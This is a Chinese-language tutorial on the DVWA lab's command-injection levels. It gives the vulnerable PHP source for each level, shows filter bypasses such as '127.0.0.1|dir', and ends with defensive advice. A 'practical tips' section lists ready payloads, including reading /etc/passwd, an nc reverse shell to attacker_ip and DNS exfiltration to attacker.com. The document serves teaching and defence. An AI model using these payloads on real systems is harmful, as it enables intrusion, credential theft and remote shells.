DVWA  Command Injection 命令注入全等级分析与实践
字数 1210
更新时间 2025-08-14 02:39:46

DVWA Command Injection 命令注入全等级分析与实践

命令注入漏洞概述

命令注入是一种安全漏洞,允许攻击者在服务器上执行任意操作系统命令。这种漏洞的危害性极高,因为:

  1. 继承Web服务程序的权限去执行系统命令或读写文件
  2. 可以反弹shell
  3. 可能控制整个网站甚至服务器
  4. 为进一步内网渗透提供跳板

与SQL注入、XSS等常见漏洞相比,命令注入在实际应用中较为罕见,因为直接让用户输入并执行系统命令的操作在Web应用中并不常见。

DVWA命令注入等级分析

Low等级

源码分析:

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    $target = $_REQUEST[ 'ip' ];
    $cmd = shell_exec( 'ping  ' . $target );
    // ...
}
?>

漏洞点:

  • 直接将用户输入的$target变量带入shell_exec()函数中
  • 没有任何过滤或验证机制

攻击方法:
使用命令连接符注入额外命令:

127.0.0.1 && dir
127.0.0.1 && ipconfig

常用命令连接符:

  • &&:前一个命令成功则执行后一个
  • ;:无论前一个命令是否成功都执行后一个
  • |:管道符,将前一个命令的输出作为后一个命令的输入
  • ||:前一个命令失败则执行后一个

Medium等级

源码分析:

<?php
$target = $_REQUEST[ 'ip' ];
$target = str_replace( array( '&&', ';' ), '', $target );
$cmd = shell_exec( 'ping  ' . $target );
// ...
?>

防护措施:

  • 使用str_replace()函数过滤掉&&;两种命令连接符

绕过方法:

  • 使用未被过滤的连接符如|
127.0.0.1 | dir

High等级

源码分析:

<?php
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
$target = str_replace( array( '&', ';', '| ', '-', '$', '(', ')', '`', '||' ), '', $target );
$cmd = shell_exec( 'ping  ' . $target );
// ...
?>

防护措施:

  • 增加了更多过滤字符:&, ;, | (带空格的|), -, $, (, ), `, ||

漏洞点:

  • | 过滤时带有空格,但|不带空格时仍可使用

绕过方法:

127.0.0.1|dir

Impossible等级

源码分析:

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );
    
    // 拆分IP地址为四个部分
    $octet = explode( ".", $target );
    
    // 检查每个部分是否为数字且在0-255之间
    if( ( is_numeric( $octet[0] ) ) && 
        ( is_numeric( $octet[1] ) ) && 
        ( is_numeric( $octet[2] ) ) && 
        ( is_numeric( $octet[3] ) ) && 
        ( sizeof( $octet ) == 4 ) ) {
        
        // 重新组合IP地址
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
        $cmd = shell_exec( 'ping  ' . $target );
        // ...
    }
    else {
        // 输入无效处理
    }
}
?>

防护措施:

  1. 使用白名单验证:确保输入必须是合法的IP地址格式
  2. 将输入拆分为四个部分,每部分必须是数字且在0-255之间
  3. 重新组合IP地址,防止注入任何命令

命令注入防护总结

  1. 白名单校验:最佳实践是使用严格的白名单验证输入参数(如Impossible等级所示)

    • 对于IP地址,验证格式和数值范围
    • 对于其他参数,定义允许的字符集
  2. 特殊字符限制:当白名单不可行时(如设备密码等场景):

    • 过滤或转义所有可能的命令分隔符:&, ;, |, ||, &&, $, (, ), `, \n
    • 使用单引号包裹变量可以防止部分命令解析
  3. 最小权限原则:运行Web服务的账户应具有最小必要权限

  4. 避免直接调用系统命令:尽可能使用语言内置函数替代系统命令调用

  5. 输入验证与输出编码:对所有用户输入进行严格验证,并对输出进行适当编码

实战技巧

  1. 测试命令注入

    • 尝试各种命令连接符
    • 测试命令分隔符的变体(如带空格/不带空格)
    • 尝试编码或转义特殊字符
  2. 常用测试payload

    127.0.0.1; whoami
    127.0.0.1 && ls -la
    127.0.0.1 | cat /etc/passwd
    127.0.0.1 || nc -e /bin/sh attacker_ip 4444
    
  3. 盲注检测

    • 使用时间延迟:127.0.0.1 && sleep 5
    • 使用DNS查询:127.0.0.1 && nslookup $(whoami).attacker.com

通过理解这些等级的实现和绕过方法,可以更好地防御实际应用中的命令注入攻击。

相似文章
相似文章
 全屏